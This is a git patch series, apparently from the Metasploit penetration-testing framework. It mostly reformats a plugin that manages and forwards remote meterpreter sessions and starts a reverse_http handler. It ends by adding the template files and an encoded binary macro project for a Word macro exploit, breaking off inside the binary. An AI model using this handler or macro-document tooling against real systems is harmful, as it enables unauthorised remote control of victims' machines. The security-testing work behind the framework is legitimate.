Msf::Ui::Console::CommandDispatcher - @response_queue = [] + @response_queue = [] - def name - "Aggregator" - end - - def commands - { - 'aggregator_connect' => "Connect to a running Aggregator instance ( host[:port] )", - 'aggregator_save' => "Save connection details to an Aggregator instance", - 'aggregator_disconnect' => "Disconnect from an active Aggregator instance", - 'aggregator_addresses' => "List all remote ip addresses available for ingress", - 'aggregator_cables' => "List all remote listeners for sessions", - 'aggregator_cable_add' => "Setup remote https listener for sessions", - 'aggregator_cable_remove' => "Stop remote listener for sessions", - 'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener", - 'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance", - 'aggregator_session_forward' => "forward a session to a specified listener", - 'aggregator_session_park' => "Park an existing session on the Aggregator instance" - } - end - - def aggregator_verify - if ! @aggregator - print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'") - return false + def name + "Aggregator" end - true - end - - def usage(*lines) - print_status("Usage: ") - lines.each do |line| - print_status(" #{line}") - end - end - - def usage_save - usage("aggregator_save") - end - - def usage_connect - usage("aggregator_connect host[:port]", - " -OR- ", - "aggregator_connect host port") - end - - def usage_cable_add - usage('aggregator_cable_add host:port [certificate]', - ' -OR- ', - 'aggregator_cable_add host port [certificate]') - end - - def usage_cable_remove - usage('aggregator_cable_remove host:port', - ' -OR- ', - 'aggregator_cable_remove host port') - end - - def usage_session_forward - usage("aggregator_session_forward remote_id") - end - - def usage_default_forward - usage("aggregator_session_forward") - end - - def cmd_aggregator_save(*args) - #if we are logged in, save session details to aggregator.yaml - if args[0] == "-h" - usage_save - return + def commands + { + 'aggregator_connect' => "Connect to a running Aggregator instance ( host[:port] )", + 'aggregator_save' => "Save connection details to an Aggregator instance", + 'aggregator_disconnect' => "Disconnect from an active Aggregator instance", + 'aggregator_addresses' => "List all remote ip addresses available for ingress", + 'aggregator_cables' => "List all remote listeners for sessions", + 'aggregator_cable_add' => "Setup remote https listener for sessions", + 'aggregator_cable_remove' => "Stop remote listener for sessions", + 'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener", + 'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance", + 'aggregator_session_forward' => "forward a session to a specified listener", + 'aggregator_session_park' => "Park an existing session on the Aggregator instance" + } end - if args[0] - usage_save - return + def aggregator_verify + if !@aggregator + print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'") + return false + end + + true end - group = "default" - - if ((@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0)) - config = {"#{group}" => {'server' => @host, 'port' => @port}} - ::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) } - print_good("#{Aggregator_yaml} created.") - else - print_error("Missing server/port - reconnect and then try again.") - return + def usage(*lines) + print_status("Usage: ") + lines.each do |line| + print_status(" #{line}") + end end - end - def cmd_aggregator_connect(*args) - if ! args[0] - if ::File.readable?("#{Aggregator_yaml}") - lconfig = YAML.load_file("#{Aggregator_yaml}") - @host = lconfig['default']['server'] - @port = lconfig['default']['port'] - aggregator_login + def usage_save + usage("aggregator_save") + end + + def usage_connect + usage("aggregator_connect host[:port]", + " -OR- ", + "aggregator_connect host port") + end + + def usage_cable_add + usage('aggregator_cable_add host:port [certificate]', + ' -OR- ', + 'aggregator_cable_add host port [certificate]') + end + + def usage_cable_remove + usage('aggregator_cable_remove host:port', + ' -OR- ', + 'aggregator_cable_remove host port') + end + + def usage_session_forward + usage("aggregator_session_forward remote_id") + end + + def usage_default_forward + usage("aggregator_session_forward") + end + + def cmd_aggregator_save(*args) + # if we are logged in, save session details to aggregator.yaml + if args[0] == "-h" + usage_save + return + end + + if args[0] + usage_save + return + end + + group = "default" + + if (@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0) + config = { "#{group}" => { 'server' => @host, 'port' => @port } } + ::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) } + print_good("#{Aggregator_yaml} created.") + else + print_error("Missing server/port - reconnect and then try again.") return end end - if(args.length == 0 or args[0].empty? or args[0] == "-h") - usage_connect - return + def cmd_aggregator_connect(*args) + if !args[0] + if ::File.readable?("#{Aggregator_yaml}") + lconfig = YAML.load_file("#{Aggregator_yaml}") + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + aggregator_login + return + end + end + + if args.length == 0 || args[0].empty? || args[0] == "-h" + usage_connect + return + end + + @host = @port = @sslv = nil + + case args.length + when 1 + @host, @port = args[0].split(':', 2) + @port ||= '2447' + when 2 + @host, @port = args + else + usage_connect + return + end + aggregator_login end - @host = @port = @sslv = nil + def cmd_aggregator_sessions(*_args) + return unless aggregator_verify - case args.length - when 1 - @host,@port = args[0].split(':', 2) - @port ||= '2447' - when 2 - @host,@port = args - else - usage_connect - return - end - aggregator_login - end + sessions_list = @aggregator.sessions + return if sessions_list.nil? - def cmd_aggregator_sessions(*args) - return if not aggregator_verify - sessions_list = @aggregator.sessions - unless sessions_list.nil? # get details for each session and print in format of sessions -v print_status("Sessions found:") sessions_list.each do |session| @@ -152,307 +153,304 @@ class Plugin::Aggregator < Msf::Plugin next unless value.conn_id == session_id local_id = key end - #filter session that do not have details as forwarding options (this may change later) - if details && details['ID'] - print_status "\t Remote ID: #{details['ID']}" - print_status "\t Type: meterpreter #{guess_target_platform(details['OS'])}" - print_status "\t Info: #{details['USER']} @ #{details['HOSTNAME']}" - print_status "\t Tunnel: #{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}" - print_status "\t Via: exploit/multi/handler" - print_status "\t UUID: #{details['UUID']}" - print_status "\t MachineID: #{details['MachineID']}" - unless details['LAST_SEEN'].nil? - print_status"\t CheckIn: #{details['LAST_SEEN'].to_i}s ago" - end - print_status "\tRegistered: Not Yet Implemented" - print_status "\t Forward: #{target}" - unless local_id.nil? - print_status"\tSession ID: #{local_id}" - end - print_status "" - end + # filter session that do not have details as forwarding options (this may change later) + next unless details && details['ID'] + + print_status "\t Remote ID: #{details['ID']}" + print_status "\t Type: meterpreter #{guess_target_platform(details['OS'])}" + print_status "\t Info: #{details['USER']} @ #{details['HOSTNAME']}" + print_status "\t Tunnel: #{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}" + print_status "\t Via: exploit/multi/handler" + print_status "\t UUID: #{details['UUID']}" + print_status "\t MachineID: #{details['MachineID']}" + print_status "\t CheckIn: #{details['LAST_SEEN'].to_i}s ago" unless details['LAST_SEEN'].nil? + print_status "\tRegistered: Not Yet Implemented" + print_status "\t Forward: #{target}" + print_status "\tSession ID: #{local_id}" unless local_id.nil? + print_status "" end end - end - def cmd_aggregator_addresses(*args) - return if not aggregator_verify - address_list = @aggregator.available_addresses - unless address_list.nil? + def cmd_aggregator_addresses(*_args) + return if !aggregator_verify + + address_list = @aggregator.available_addresses + return unless address_list.nil? + print_status("Remote addresses found:") address_list.each do |addr| print_status(" #{addr}") end end - end - def cmd_aggregator_cable_add(*args) - return if not aggregator_verify - host, port, certificate = nil - case args.length - when 1 - host, port = args[0].split(':', 2) - when 2 - host, port = args[0].split(':', 2) - if port.nil? - port = args[1] - else - certificate = args[1] - end - when 3 - host, port, certificate = args - else - usage_cable_add - return - end - if port.nil? || port.to_i <= 0 - usage_cable_add - end - if certificate && File.exists?(certificate) - certificate = File.new(certificate).read - end - @aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate) - end - - def cmd_aggregator_cables - return if not aggregator_verify - res = @aggregator.cables - print_status("Remote Cables:") - res.each do |k| - print_status(" #{k}") - end - - end - - def cmd_aggregator_cable_remove(*args) - return if not aggregator_verify - case args.length - when 1 - host, port = args[0].split(':', 2) - when 2 - host, port = args - end - if host.nil? - usage_cable_remove - return - end - @aggregator.remove_cable(host, port) - end - - def cmd_aggregator_session_park(*args) - return if not aggregator_verify - case args.length - when 1 - session_id = args[0] - s = framework.sessions.get(session_id) - unless s.nil? - if @aggregator.sessions.keys.include? s.conn_id - @aggregator.release_session(s.conn_id) - framework.sessions.deregister(s) + def cmd_aggregator_cable_add(*args) + return if !aggregator_verify + host, port, certificate = nil + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args[0].split(':', 2) + if port.nil? + port = args[1] else - # TODO: determine if we can add a transport and route with the aggregator - # for now just report action not taken - print_status("#{session_id} does not originate from the aggregator connection.") + certificate = args[1] + end + when 3 + host, port, certificate = args + else + usage_cable_add + return + end + usage_cable_add if port.nil? || port.to_i <= 0 + + certificate = File.new(certificate).read if certificate && File.exists?(certificate) + + @aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate) + end + + def cmd_aggregator_cables + return if !aggregator_verify + res = @aggregator.cables + print_status("Remote Cables:") + res.each do |k| + print_status(" #{k}") + end + + end + + def cmd_aggregator_cable_remove(*args) + return if !aggregator_verify + + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args + end + if host.nil? + usage_cable_remove + return + end + @aggregator.remove_cable(host, port) + end + + def cmd_aggregator_session_park(*args) + return if !aggregator_verify + + case args.length + when 1 + session_id = args[0] + s = framework.sessions.get(session_id) + unless s.nil? + if @aggregator.sessions.keys.include? s.conn_id + @aggregator.release_session(s.conn_id) + framework.sessions.deregister(s) + else + # TODO: determine if we can add a transport and route with the aggregator + # for now just report action not taken + print_status("#{session_id} does not originate from the aggregator connection.") + end + else + print_status("#{session_id} is not a valid session.") end else - print_status("#{session_id} is not a valid session.") - end - else - usage('aggregator_session_park session_id') - return + usage('aggregator_session_park session_id') + return + end end - end - def cmd_aggregator_default_forward(*args) - return if not aggregator_verify - @aggregator.register_default(@aggregator.uuid, nil) - end + def cmd_aggregator_default_forward(*_args) + return if !aggregator_verify - def cmd_aggregator_session_forward(*args) - return if not aggregator_verify - remote_id = nil - case args.length - when 1 - remote_id = args[0] - else - usage_session_forward - return + @aggregator.register_default(@aggregator.uuid, nil) end - # find session with ID matching request - @aggregator.sessions.each do |session| - session_uri, target = session - details = @aggregator.session_details(session_uri) - if details['ID'] == remote_id - return @aggregator.obtain_session(session_uri, @aggregator.uuid) + + def cmd_aggregator_session_forward(*args) + return if !aggregator_verify + + remote_id = nil + case args.length + when 1 + remote_id = args[0] + else + usage_session_forward + return + end + # find session with ID matching request + @aggregator.sessions.each do |session| + session_uri, _target = session + details = @aggregator.session_details(session_uri) + next unless details['ID'] == remote_id + return @aggregator.obtain_session(session_uri, @aggregator.uuid) end print_error("#{remote_id} was not found.") end - end - def cmd_aggregator_disconnect(*args) - if @aggregator && @aggregator.available? - # check if this connection is the default forward - @aggregator.register_default(nil, nil) if @aggregator.default == @aggregator.uuid + def cmd_aggregator_disconnect(*_args) + if @aggregator && @aggregator.available? + # check if this connection is the default forward + @aggregator.register_default(nil, nil) if @aggregator.default == @aggregator.uuid - # now check for any specifically forwarded sessions - local_sessions_by_id = {} - framework.sessions.each_pair do |id, s| - local_sessions_by_id[s.conn_id] = s - end + # now check for any specifically forwarded sessions + local_sessions_by_id = {} + framework.sessions.each_pair do |_id, s| + local_sessions_by_id[s.conn_id] = s + end - sessions = @aggregator.sessions - unless sessions.nil? - sessions.each_pair do |session, console| - next unless local_sessions_by_id.keys.include?(session) - if console == @aggregator.uuid - # park each session locally addressed - cmd_aggregator_session_park(framework.sessions.key(local_sessions_by_id[session])) - else - # simple disconnect session that were from the default forward - framework.sessions.deregister(local_sessions_by_id[session]) + sessions = @aggregator.sessions + unless sessions.nil? + sessions.each_pair do |session, console| + next unless local_sessions_by_id.keys.include?(session) + if console == @aggregator.uuid + # park each session locally addressed + cmd_aggregator_session_park(framework.sessions.key(local_sessions_by_id[session])) + else + # simple disconnect session that were from the default forward + framework.sessions.deregister(local_sessions_by_id[session]) + end end end end - end - @aggregator.stop if @aggregator - if @payload_job_ids - @payload_job_ids.each do |id| - framework.jobs.stop_job(id) + @aggregator.stop if @aggregator + if @payload_job_ids + @payload_job_ids.each do |id| + framework.jobs.stop_job(id) + end + @payload_job_ids = nil end - @payload_job_ids = nil - end - @aggregator = nil - end - - def aggregator_login - - if ! ((@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0)) - usage_connect - return + @aggregator = nil end - if(@host != "localhost" and @host != "127.0.0.1") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator") - print_error(" traffic, if you are running this on an untrusted network.") - return + def aggregator_login + + if !((@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0)) + usage_connect + return + end + + if @host != "localhost" and @host != "127.0.0.1" + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator") + print_error(" traffic, if you are running this on an untrusted network.") + return + end + + # Wrap this so a duplicate session does not prevent access + begin + cmd_aggregator_disconnect + rescue ::Interrupt => i + raise i + rescue ::Exception + end + + begin + print_status("Connecting to Aggregator instance at #{@host}:#{@port}...") + @aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port) + end + + aggregator_compatibility_check + + unless @payload_job_ids + @payload_job_ids = [] + @my_io = local_handler + end + + @aggregator.register_response_channel(@my_io) + @aggregator end - # Wrap this so a duplicate session does not prevent access - begin - cmd_aggregator_disconnect - rescue ::Interrupt - raise $! - rescue ::Exception - end - - begin - print_status("Connecting to Aggregator instance at #{@host}:#{@port}...") - @aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port) - end - - aggregator_compatibility_check - - unless @payload_job_ids - @payload_job_ids = [] - @my_io = get_local_handler - end - - @aggregator.register_response_channel(@my_io) - @aggregator - end - - def aggregator_compatibility_check - unless @aggregator.nil? + def aggregator_compatibility_check + false if @aggregator.nil? unless @aggregator.available? print_error("Connection to aggregator @ #{@host}:#{@port} is unavailable.") cmd_aggregator_disconnect end end - end - def get_local_handler - server = TCPServer.new('127.0.0.1', 0) - port = server.addr[1] - server.close + def local_handler + # get a random ephemeral port + server = TCPServer.new('127.0.0.1', 0) + port = server.addr[1] + server.close - multi_handler = framework.exploits.create('multi/handler') + multi_handler = framework.exploits.create('multi/handler') - multi_handler.datastore['LHOST'] = "127.0.0.1" - # multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https" - multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http" - multi_handler.datastore['LPORT'] = "#{port}" + multi_handler.datastore['LHOST'] = "127.0.0.1" + # multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https" + multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http" + multi_handler.datastore['LPORT'] = "#{port}" - # %w(DebugOptions PrependMigrate PrependMigrateProc - # InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert - # StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName - # IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait - # SessionExpirationTimeout SessionCommunicationTimeout).each do |opt| - # multi_handler.datastore[opt] = datastore[opt] if datastore[opt] - # end + # %w(DebugOptions PrependMigrate PrependMigrateProc + # InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert + # StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName + # IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait + # SessionExpirationTimeout SessionCommunicationTimeout).each do |opt| + # multi_handler.datastore[opt] = datastore[opt] if datastore[opt] + # end - multi_handler.datastore['ExitOnSession'] = false - multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['ExitOnSession'] = false + multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.exploit_simple( - 'LocalInput' => nil, - 'LocalOutput' => nil, - 'Payload' => multi_handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - @payload_job_ids << multi_handler.job_id - # requester = Metasploit::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) - requester = Metasploit::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) - requester - end - - # borrowed from Msf::Sessions::Meterpreter for now - def guess_target_platform(os) - case os - when /windows/i - Msf::Module::Platform::Windows.realname.downcase - when /darwin/i - Msf::Module::Platform::OSX.realname.downcase - when /mac os ?x/i - # this happens with java on OSX (for real!) - Msf::Module::Platform::OSX.realname.downcase - when /freebsd/i - Msf::Module::Platform::FreeBSD.realname.downcase - when /openbsd/i, /netbsd/i - Msf::Module::Platform::BSD.realname.downcase - else - Msf::Module::Platform::Linux.realname.downcase + multi_handler.exploit_simple( + 'LocalInput' => nil, + 'LocalOutput' => nil, + 'Payload' => multi_handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + @payload_job_ids << multi_handler.job_id + # requester = Metasploit::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester = Metasploit::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester end + + # borrowed from Msf::Sessions::Meterpreter for now + def guess_target_platform(os) + case os + when /windows/i + Msf::Module::Platform::Windows.realname.downcase + when /darwin/i + Msf::Module::Platform::OSX.realname.downcase + when /mac os ?x/i + # this happens with java on OSX (for real!) + Msf::Module::Platform::OSX.realname.downcase + when /freebsd/i + Msf::Module::Platform::FreeBSD.realname.downcase + when /openbsd/i, /netbsd/i + Msf::Module::Platform::BSD.realname.downcase + else + Msf::Module::Platform::Linux.realname.downcase + end + end + + private :guess_target_platform + private :aggregator_login + private :aggregator_compatibility_check + private :aggregator_verify + private :local_handler end - private :guess_target_platform - private :aggregator_login - private :aggregator_compatibility_check - private :aggregator_verify - private :get_local_handler - end + # + # Plugin initialization + # - # - # Plugin initialization - # + def initialize(framework, opts) + super - def initialize(framework, opts) - super + add_console_dispatcher(AggregatorCommandDispatcher) + print_status("Aggregator interaction has been enabled") + end - add_console_dispatcher(AggregatorCommandDispatcher) - print_status("Aggregator interaction has been enabled") - end + def cleanup + remove_console_dispatcher('Aggregator') + end - def cleanup - remove_console_dispatcher('Aggregator') - end + def name + "aggregator" + end - def name - "aggregator" - end - - def desc - "Interacts with the external Session Aggregator" + def desc + "Interacts with the external Session Aggregator" + end end end -end diff --git a/plugins/msfd.rb b/plugins/msfd.rb index 7d964d10ff..653ec6f672 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # $Id$ # diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb index 30c1bee857..cc49d292b7 100644 --- a/plugins/msgrpc.rb +++ b/plugins/msgrpc.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # This plugin provides an msf daemon interface that spawns a listener on a # defined port (default 55552) and gives each connecting client its own diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 00c1173bc1..570c01a602 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # $Id$ # diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 4b9c02cd08..2a3b294a0d 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # This plugin provides integration with OpenVAS. Written by kost and # averagesecurityguy. From ccaa783a31cd3f99229ba1806a063c89934ae6b9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 2 Feb 2017 17:44:55 -0600 Subject: [PATCH 064/426] Add Microsoft Office Word Macro exploit --- .../office_word_macro/[Content_Types].xml | 2 + data/exploits/office_word_macro/_rels/__rels | 2 + .../office_word_macro/docProps/app.xml | 2 + .../office_word_macro/docProps/core.xml | 2 + .../word/_rels/document.xml.rels | 2 + .../word/_rels/vbaProject.bin.rels | 2 + .../office_word_macro/word/document.xml | 2 + .../office_word_macro/word/fontTable.xml | 2 + .../office_word_macro/word/settings.xml | 2 + .../office_word_macro/word/styles.xml | 2 + .../office_word_macro/word/theme/theme1.xml | 2 + .../office_word_macro/word/vbaData.xml | 2 + .../office_word_macro/word/vbaProject.bin | Bin 0 -> 17920 bytes .../office_word_macro/word/webSettings.xml | 2 + .../exploits/office_word_macro/macro.vba | 88 ++++++++++++++ .../windows/fileformat/office_word_macro.rb | 109 ++++++++++++++++++ 16 files changed, 223 insertions(+) create mode 100644 data/exploits/office_word_macro/[Content_Types].xml create mode 100644 data/exploits/office_word_macro/_rels/__rels create mode 100644 data/exploits/office_word_macro/docProps/app.xml create mode 100644 data/exploits/office_word_macro/docProps/core.xml create mode 100644 data/exploits/office_word_macro/word/_rels/document.xml.rels create mode 100644 data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels create mode 100644 data/exploits/office_word_macro/word/document.xml create mode 100644 data/exploits/office_word_macro/word/fontTable.xml create mode 100644 data/exploits/office_word_macro/word/settings.xml create mode 100644 data/exploits/office_word_macro/word/styles.xml create mode 100644 data/exploits/office_word_macro/word/theme/theme1.xml create mode 100644 data/exploits/office_word_macro/word/vbaData.xml create mode 100644 data/exploits/office_word_macro/word/vbaProject.bin create mode 100644 data/exploits/office_word_macro/word/webSettings.xml create mode 100644 external/source/exploits/office_word_macro/macro.vba create mode 100644 modules/exploits/windows/fileformat/office_word_macro.rb diff --git a/data/exploits/office_word_macro/[Content_Types].xml b/data/exploits/office_word_macro/[Content_Types].xml new file mode 100644 index 0000000000..adcd5a2cc9 --- /dev/null +++ b/data/exploits/office_word_macro/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/_rels/__rels b/data/exploits/office_word_macro/_rels/__rels new file mode 100644 index 0000000000..fdd8c4f371 --- /dev/null +++ b/data/exploits/office_word_macro/_rels/__rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/docProps/app.xml b/data/exploits/office_word_macro/docProps/app.xml new file mode 100644 index 0000000000..b7deadb9e8 --- /dev/null +++ b/data/exploits/office_word_macro/docProps/app.xml @@ -0,0 +1,2 @@ + +1051110Microsoft Office Word011falseTitle1false10falsefalse15.0000 \ No newline at end of file diff --git a/data/exploits/office_word_macro/docProps/core.xml b/data/exploits/office_word_macro/docProps/core.xml new file mode 100644 index 0000000000..0e7d44d727 --- /dev/null +++ b/data/exploits/office_word_macro/docProps/core.xml @@ -0,0 +1,2 @@ + +Windows User PAYLOADGOESHEREWindows User322017-02-01T20:39:00Z2017-02-02T22:26:00Z \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/_rels/document.xml.rels b/data/exploits/office_word_macro/word/_rels/document.xml.rels new file mode 100644 index 0000000000..0767526cf8 --- /dev/null +++ b/data/exploits/office_word_macro/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels b/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels new file mode 100644 index 0000000000..6169464f40 --- /dev/null +++ b/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/document.xml b/data/exploits/office_word_macro/word/document.xml new file mode 100644 index 0000000000..6a8a649e91 --- /dev/null +++ b/data/exploits/office_word_macro/word/document.xml @@ -0,0 +1,2 @@ + +DOCBODYGOESHER diff --git a/data/exploits/office_word_macro/word/fontTable.xml b/data/exploits/office_word_macro/word/fontTable.xml new file mode 100644 index 0000000000..43997894d3 --- /dev/null +++ b/data/exploits/office_word_macro/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/settings.xml b/data/exploits/office_word_macro/word/settings.xml new file mode 100644 index 0000000000..2b96121e32 --- /dev/null +++ b/data/exploits/office_word_macro/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/styles.xml b/data/exploits/office_word_macro/word/styles.xml new file mode 100644 index 0000000000..e51ea329dd --- /dev/null +++ b/data/exploits/office_word_macro/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/theme/theme1.xml b/data/exploits/office_word_macro/word/theme/theme1.xml new file mode 100644 index 0000000000..9c5cd2b64f --- /dev/null +++ b/data/exploits/office_word_macro/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaData.xml b/data/exploits/office_word_macro/word/vbaData.xml new file mode 100644 index 0000000000..31ba994856 --- /dev/null +++ b/data/exploits/office_word_macro/word/vbaData.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin new file mode 100644 index 0000000000000000000000000000000000000000..36867c5fec17a88b59711219154f3768d0ee6e92 GIT binary patch literal 17920 zcmeHu3v^u7dG0=EMx)Wo9t+#ZkJwvd*&5l>Ff)2sGM1T#o}iZ{#deH98qFL@V~=Kr znIlWK0gr4G970x2fIu3Om`Cp|siB6nzR=!e3DVw@ELICm?pjV(*Nq&wt@}vpK$5aZ zs_FOdbB;8U1sJ;0uCA3W{b%po2nJHKe&*AHpXh1D3}lo~`7Y;-at%K_ zPCpxC5td?2kV1$}uyLjcIb_HAu<&{&OH@9M8S+0YZuYnHdS$y%-X!Z}L6n|E9a7nm zt|Pn}<kP~zh$OUqPJfLb&4X74W2igg$2Q`3p zfo=xv1~r2AfNlYKL8NAi5tit~yxM8m66fPP85D?Z`FD9Zt%&cbea?WE`r2295IY=w*O)L z>~GoO?DQ0t#At4u8a$Z8eoPTRshj&ARbFJdNVkZCZus&A=2O*VWOzbl3g71+>XHD!T`lo}r|j2t^1IOX1y+01D^w1a4n7R&19cp_lXJrrDsw7=%L`j+UNcXgl+Nl#SrjkR^=H>5SwQal;4j7|@*lMt~|$7-6C zP&}+SOx7(Amh>qqA4$n^Rzh-B71lj`NC~M9JL?N2BMCJUW24TNNL1-N+LKb1@l!?i z2f50|6N4l1Xjri%A;7K9Rz>YgCzMbm7;TXY!Vb^bl2}mwzt&AVX1IO8&UZ|=NTp|~ zL#EFu)n=8HElY4a=_dWdezyVzRS16k?UI{mAw9`5$FD7q{#b#&L!WQn|D9%M-xyP(QG126cfuUw4{d0Ug?am)kw9_aF`s$nsaGB<$~TvD z(@2U3`S3J5R8?2QmDuzlYnZ2A{R(&Z`&fT3SC1x?3fURVqP^K zi^TZM{wPzDm3&N96KvN_H%(4XI>%XDjSojuXQ(MY?k{q>+}@%Tk4KLvsp+o{N7KqU zpNyzu?0H*ANu_3r!@OKdpGyRxq)kDy8hm9-Id`8z{CoynW|+^fCi$&rwItk&a}_LTc8zp%Y?`a9*kFFvA9rZ;Y}++?;mL&v0*fp|$Q zrJmk6GiCSrS)i%8rM0d7R(4xQXIFR6-d@(%|LJ}E4}9hz3l4|E%E&18Wrq$&$7AsX zyDOPeCyq=`v7^UaZclYh?M&Uy`i31h4Yy7om&1HxhY}k_D=K-adqS<`Y&034Ncfde zOT-_y-y!#=T%UV=tk`E7&VMWC4bIE?Z0N}B_uk?+Ufy}Gh+T-V zQ@jqEnojv{e)5J&``y8CS(wl6=#RHrgRvx^$x%jUEU%Q${%K+;o(v|Bva_>nbV_k@ z|D8_-o+)_c(ekp!^3p9z@^7Ch=W^s+QB2_@%49s9=eIw(iCG=z_Rc&Il7@=nvFK4g ztVrx@6{>Skvn|Bm^ z%KaA(^VJ;(%=Sk6nH`(gzsU19RPkhIQ05m)-+f`-FY=nB-woYmd2@?RZhW!dG3)xi z>*1}{+l~xh@<(DlH?BTVF>`RAO@6xBtLBbZqO&ki7rVcd^%PQ>J(-5sd_9+Jc*+@z`jv zs_wX{roX-BuXo&F8nK);Id1w6yRcEpTb<(@s){Oq77Sk<<;N8E^}9_+`+6O9J!>v^ zl$o!ta$U7o@NK6Hs!e_DY~o9?leJQQ^{Y4Yv7v&$d(?Bz99*5Mc&Gkmvw(;2xWkhv6RFvo$>$~NPCDohu znoL_mU-%;vR+3efJMWmb%5?g;fR&1+^XRE5QmN(R@xLIOb|nf7BX;sf!U+l^A97+vUy?sT4^w)4f+-#s@vUY$a$L~UQvR2;IA+>J+01xMTSd5p z!rA$QPj%xu--~d)9;R*AR91LK4-*_>rH$_5d@LKmaxB9qxTTHw(^e~m59nd4+n5%% zh_>r|%4aHz|F|BewCD6VeuOVjco2VmIKlM5r*qWDbvEoGs3Me?wuSoW90)t2;|96x z^63osaUIGR=Wi;T-1VfV4tP|LIH)5KgOETk>&98H8D~K{$z7kr`CqhKEB*S)r#<#j zI!wcbal%V#!B6zGeuDD5QPM75{-_CUCE+ep7s9=)`*{}a-L3n3b^mj^U!kXaR)5bU zHGuQ!{GRU)KHa>V5-_d$=_A>8ok4F0-85AlNGNP{th2pmt>v zE2<&A3ulTdactZ>l(~H%V;;+_4`=3*2Qn)qwhnI@Uwy{RcC{hN9lxrst@i{X2c)2pS%bHnhcP?-0RAP2oRs-z zczo(*lT{Z0HUh)@13CLB8JFLm^7siQKN^0MDw5_QmW z!jviE(pz?%?68^rK2m6?jZ_98cL0m*i2k=70InZ^Z4fj9z_uO$uA524dNeouEnw^f zJ}TK3F+&t@DXVUQ<(f|_t%gIS z*dtbn>oVHIl|cQ)%w$X^Tl3M4-?#eL4>U`LFiZYFxB5nVqCIEw}W+n_}KT8e9~Fr$MtXt z_`f|rXgekvaFEr1&G`ZPOkMIG?P^d53PTYV>k|0X*H+?-@q+V`7RL;ZHi7pDldwz;>MUdR*vdLtog5MuLO(^?F`46iD>nA@ 